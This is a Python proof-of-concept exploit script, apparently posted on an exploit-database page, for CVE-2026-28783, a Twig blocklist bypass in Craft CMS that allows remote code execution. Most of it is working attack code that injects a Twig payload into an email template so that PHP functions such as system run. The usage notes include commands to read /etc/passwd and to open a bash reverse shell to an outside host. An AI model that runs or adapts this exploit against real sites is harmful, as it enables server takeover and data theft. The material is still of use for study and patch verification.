#!/usr/bin/env python3 # Exploit Title: Craft CMS 4.x & 5.x RCE via Blocklist Bypass # CVE: CVE-2026-28783 # Date: 2025-11-15 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://craftcms.com # Software Link: https://github.com/craftcms/cms # Affected: Craft CMS 4.0.0-RC1 to 4.17.0-beta.1 / 5.0.0-RC1 to 5.9.0-beta.1 # Tested on: Craft CMS 4.x & 5.x (vulnerable versions) # Category: Remote Code Execution # Platform: PHP / Craft CMS # Exploit Type: Authenticated (admin/editor Twig template access) # CVSS: 8.8 (High) [Estimated] # CWE: CWE-94, CWE-184, CWE-1336 # Description: Craft CMS allowed arbitrary PHP function execution via Twig filters # using non-closure arrow function syntax due to an incomplete blocklist. # Fixed in: Craft CMS 4.17.0 / 5.9.0 (Twig sandbox enforcement) # Usage: # python3 exploit.py <target_url> --cookie <session_cookie> --cmd "<command>" --func <php_function> # # Examples: # python3 exploit.py http://craft.target.com --cookie "abc123..." --cmd "id" # python3 exploit.py http://craft.target.com --cookie "xyz..." --cmd "whoami" --func passthru # python3 exploit.py http://craft.target.com --cookie "abc..." --cmd "/etc/passwd" --func file_get_contents # # Options: # --cookie CraftSessionId value from authenticated admin session # --cmd Command or argument to pass to the PHP function # --func PHP function to call (system, passthru, exec, file_get_contents, etc.) # # Notes: # - Requires authenticated access to edit Twig-enabled templates (System Messages, email templates, custom fields). # - Not unauthenticated / blind RCE — needs valid admin/editor privileges. # - For reverse shell: --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" --func system # # How to Use # # Step 1: Log in to Craft CMS admin panel as an administrator or editor with Twig template edit permissions # Step 2: Copy your CraftSessionId cookie from browser dev tools (Application → Cookies) # Step 3: Run the exploit with the target URL and your session cookie print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-28783 • Craft CMS Twig RCE via Blocklist Bypass ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import requests import argparse import sys def exploit_craft_twig_rce(target_url, session_cookie, command, function): save_endpoint = f"{target_url.rstrip('/')}/admin/settings/email/save-message" twig_payload = ( f"{{{{ ['{command.replace("'", "\\'")}'] | map('{function}') | join }}}}" ) data = { "id": "1", "name": "Contact Form", "subject": "Test Subject", "body": twig_payload, } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Referer": f"{target_url}/admin/settings/email", } cookies = {"CraftSessionId": session_cookie} print(f"[*] Target: {save_endpoint}") print(f"[*] Payload:\n {twig_payload}") print(f"[*] Calling PHP::{function}('{command}')\n") try: response = requests.post( save_endpoint, data=data, headers=headers, cookies=cookies, allow_redirects=False, timeout=15 ) print(f"[+] Status: {response.status_code}") if response.status_code in (200, 302): print("[+] Payload delivered successfully!") print(" → Trigger by sending a test email or rendering the template.") print(" → Check output / server logs for result.") else: print(f"[-] Failed: {response.status_code} - {response.text[:300]}...") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser( description="CVE-2026-28783 Craft CMS Twig Blocklist Bypass → RCE PoC" ) parser.add_argument("url", help="Craft CMS base URL[](http://target.com)") parser.add_argument("--cookie", required=True, help="CraftSessionId cookie value") parser.add_argument("--cmd", default="id", help="Command/argument to execute") parser.add_argument("--func", default="system", help="PHP function (system/passthru/file_get_contents/...)") args = parser.parse_args() exploit_craft_twig_rce( target_url=args.url, session_cookie=args.cookie, command=args.cmd, function=args.func )
References:
https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4
https://github.com/craftcms/cms/pull/18208
https://nvd.nist.gov/vuln/detail/CVE-2026-28783
https://www.tenable.com/cve/CVE-2026-28783
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |